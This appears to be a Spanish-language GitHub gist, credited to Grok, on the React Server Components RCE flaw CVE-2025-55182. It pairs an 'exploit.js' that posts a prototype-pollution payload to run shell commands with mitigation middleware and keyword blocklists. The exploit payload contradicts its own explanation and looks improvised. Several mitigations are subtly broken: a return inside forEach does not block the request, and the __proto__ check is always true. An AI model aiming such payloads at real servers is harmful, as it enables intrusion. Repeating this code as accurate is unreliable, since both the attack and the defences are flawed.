Skip to content

Instantly share code, notes, and snippets.

@felipe-parra
Created December 4, 2025 13:37
Show Gist options
  • Select an option

  • Save felipe-parra/e6c029f3f6db387973a87be485ae4002 to your computer and use it in GitHub Desktop.

Select an option

Save felipe-parra/e6c029f3f6db387973a87be485ae4002 to your computer and use it in GitHub Desktop.
Medidas de mitigación en React Server Components

CVE-2025-55182: Ejemplo de Request HTTP Crafted y Medidas de Mitigación en React Server Components

Autor: Grok (basado en análisis de PoCs públicos)
Fecha: 4 de diciembre de 2025
Descripción: Este Gist explica la vulnerabilidad CVE-2025-55182 (conocida como "React2Shell"), una falla crítica de ejecución remota de código (RCE) en React Server Components (RSC) versiones 19.0 a 19.2.0. Incluye un ejemplo hipotético de un request HTTP crafted para explotarla, y estrategias de mitigación adicionales a la actualización de versiones. Todo con código JavaScript/Node.js para ilustrar.

Advertencia: Este es un ejemplo educativo basado en PoCs públicos (como los de GitHub: whiteov3rflow/CVE-2025-55182-poc y ejpir/CVE-2025-55182-poc). No uses esto para explotar sistemas reales. Actualiza React inmediatamente a 19.0.1, 19.1.2 o 19.2.1.

¿Qué es CVE-2025-55182?

Es una vulnerabilidad de deserialización insegura en el protocolo "Flight" de RSC (usado en React y frameworks como Next.js). Permite a un atacante no autenticado enviar un payload crafted a un endpoint de Server Functions, explotando la función requireModule en react-server-dom-webpack. Esto accede a módulos Node.js peligrosos (como child_process o fs) vía contaminación de la cadena de prototipos (prototype pollution), sin verificación de hasOwnProperty.

  • Impacto: RCE completo en el servidor (CVSS 10.0). Afecta ~39% de entornos cloud con Next.js/React.
  • Explotación: Un solo request HTTP POST a /react?jsx=1 o similar, con un payload JSON que simula un módulo malicioso.

Ejemplo de Request HTTP Crafted

El exploit envía un payload que viaja por la cadena de prototipos de Object.prototype para acceder a módulos built-in de Node.js. Usando JavaScript (con fetch para simplicidad), aquí un ejemplo para ejecutar un comando como whoami vía child_process.execSync.

Código del Attacker (exploit.js)

// exploit.js - Ejemplo educativo de exploit (NO EJECUTAR EN PRODUCCIÓN)
const targetUrl = 'http://vulnerable-server:3000/react?jsx=1'; // Endpoint vulnerable de RSC

async function exploitRCE(command = 'whoami') {
  // Payload crafted: Contamina prototype para acceder a child_process
  const payload = {
    // Simula metadata para requireModule: [módulo_id, prop, '__proto__' para pollution]
    // En react-server-dom-webpack, esto resuelve a Object.prototype y sube a built-ins
    "0": 0,  // ID de chunk base (webpack)
    "1": {}, // Objeto vacío para deserializar
    // Payload clave: Usa '__proto__' para inyectar en prototype chain
    // Accede a 'child_process' vía traversal (ej: metadata[2] = '__proto__.constructor.execSync')
    "2": {
      "__proto__": {
        // Contaminación: Asigna función maliciosa que llama execSync
        "constructor": {
          "execSync": command  // Comando a ejecutar (e.g., 'whoami')
        }
      }
    },
    // Instrucción para ejecutar vía vm.runInThisContext o similar gadget
    "instructions": [
      {"type": "module", "id": 0},
      {"type": "call", "id": 1, "args": [2]}  // Llama la función inyectada
    ]
  };

  try {
    const response = await fetch(targetUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'text/x-component',  // RSC Flight protocol
      },
      body: JSON.stringify(payload)  // Serializa el payload crafted
    });

    const result = await response.text();
    console.log('Explotación exitosa:', result);  // Output: e.g., "nick" de whoami
  } catch (error) {
    console.error('Error en exploit:', error);
  }
}

// Ejecutar
exploitRCE('whoami');

Explicación del Payload

  • Deserialización insegura: El servidor deserializa el JSON sin validar, resolviendo moduleExports[metadata[2]] donde metadata[2] es '__proto__.child_process.execSync', accediendo a global.Object.prototype.child_process (pollution).
  • Gadgets comunes: Usa vm.runInThisContext para eval código, o fs.readFileSync para leer archivos (e.g., /etc/passwd).
  • Ejecución: Corre con node exploit.js. En un PoC real, el servidor responde con el output del comando.

Nota: Este es simplificado; PoCs reales (como en GitHub) usan Python para crafting binario o JS con buffers para payloads más complejos.

Cómo Evitarlo (Además de Actualizar Versiones)

La actualización es prioritaria (e.g., npm update react react-server-dom-webpack), pero aquí mitizaciones intermedias con JS. Implementa en tu servidor (Node.js/Next.js).

1. Validación y Sanitización de Inputs

Usa middleware para validar payloads RSC antes de deserializar.

// middleware/validation.js - Para Express o Next.js API routes
const { body, validationResult } = require('express-validator');  // npm install express-validator

function validateRSCPayload(req, res, next) {
  // Regla: Solo permite keys conocidas, rechaza '__proto__', 'constructor', etc.
  const forbiddenProps = ['__proto__', 'prototype', 'constructor', 'toString'];
  const payload = req.body;

  if (typeof payload === 'object') {
    Object.keys(payload).forEach(key => {
      if (forbiddenProps.includes(key)) {
        return res.status(400).json({ error: 'Payload malicioso detectado' });
      }
      // Sanitiza valores: No permite strings con 'eval', 'require', etc.
      if (typeof payload[key] === 'string' && /eval|require|exec|fs|vm/.test(payload[key])) {
        return res.status(400).json({ error: 'Comando sospechoso' });
      }
    });
  }

  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  next();
}

// Uso en route (e.g., app.js)
app.post('/react', [
  body('payload').custom(value => {
    // Custom validator: Limita tamaño y estructura
    return Object.keys(value).length < 10 && typeof value === 'object';
  }),
  validateRSCPayload
], (req, res) => {
  // Tu handler RSC aquí
});

2. Autenticación en Endpoints RSC

Protege con auth (e.g., JWT). Solo permite requests autenticados.

// auth-middleware.js - Ejemplo con jsonwebtoken (npm install jsonwebtoken)
const jwt = require('jsonwebtoken');

function requireAuth(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) {
    return res.status(401).json({ error: 'Autenticación requerida' });
  }
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    res.status(403).json({ error: 'Token inválido' });
  }
}

// En route
app.post('/react', requireAuth, handleRSCRequest);

3. Rate Limiting y WAF

Limita requests para prevenir abusos. Usa express-rate-limit.

// rate-limit.js - npm install express-rate-limit
const rateLimit = require('express-rate-limit');

const rscLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutos
  max: 10,  // Máx 10 requests por IP
  message: 'Demasiados requests a RSC, intenta más tarde',
  standardHeaders: true,
  legacyHeaders: false,
});

// Aplicar
app.use('/react', rscLimiter);

4. Monitoreo y Logging

Registra requests sospechosos.

// logger.js
const winston = require('winston');  // npm install winston

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.json(),
  transports: [new winston.transports.File({ filename: 'rsc-attacks.log' })]
});

app.post('/react', (req, res, next) => {
  if (req.body && (req.body.__proto__ || /exec|fs/.test(JSON.stringify(req.body)))) {
    logger.warn('Posible ataque RSC', { ip: req.ip, payload: req.body });
  }
  next();
});

5. Deshabilitar RSC si No se Usa

En Next.js, configura next.config.js:

// next.config.js
module.exports = {
  experimental: {
    serverComponents: false,  // Deshabilita RSC temporalmente
  },
};

Recomendaciones Finales

  • Actualiza YA: npm update [email protected] [email protected].
  • Prueba: Usa herramientas como OWASP ZAP para simular attacks.
  • Fuentes: Basado en PoCs de GitHub y blogs (Tenable, Wiz). Monitorea NVD para updates.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment